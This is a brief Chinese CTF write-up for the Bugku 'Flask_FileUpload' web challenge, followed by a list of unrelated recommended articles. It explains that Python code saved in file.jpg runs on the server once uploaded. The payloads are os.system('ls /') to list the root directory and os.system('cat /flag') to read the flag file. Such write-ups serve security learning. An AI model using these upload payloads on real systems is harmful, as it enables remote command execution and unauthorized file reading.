Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
醇氧4 分钟前
CentOS7.9 Yum 安装 Redis6.x（RPM 包，无需编译，推荐 remi 源）VidDown11 分钟前
文件没问题但网页播不了：播放器接入实战与那些“环境问题其实防守也摸鱼13 分钟前
内网安全防护实践：从攻击视角理解防御要点智购科技自动售货机工厂20 分钟前
数字人民币硬钱包支付失败，排查发现是NFC读卡器功率不足~YH维克兜率天32 分钟前
【维克】均值回归：跌多了会涨，涨多了会跌databook42 分钟前
用Pandas+Pydantic搭建数据清洗与验证管道yi0111 小时前
DAY 14: LeetCode 394. 字符串解码｜递归和栈到底怎么处理嵌套？JavaGuide1 小时前
DeepSeek Harness 官方桌面端终于有了！wshzd1 小时前
LLM之Agent（104）｜DeepSeek-Harness（十三）ReactLoopAgent 总览：kick → turn → step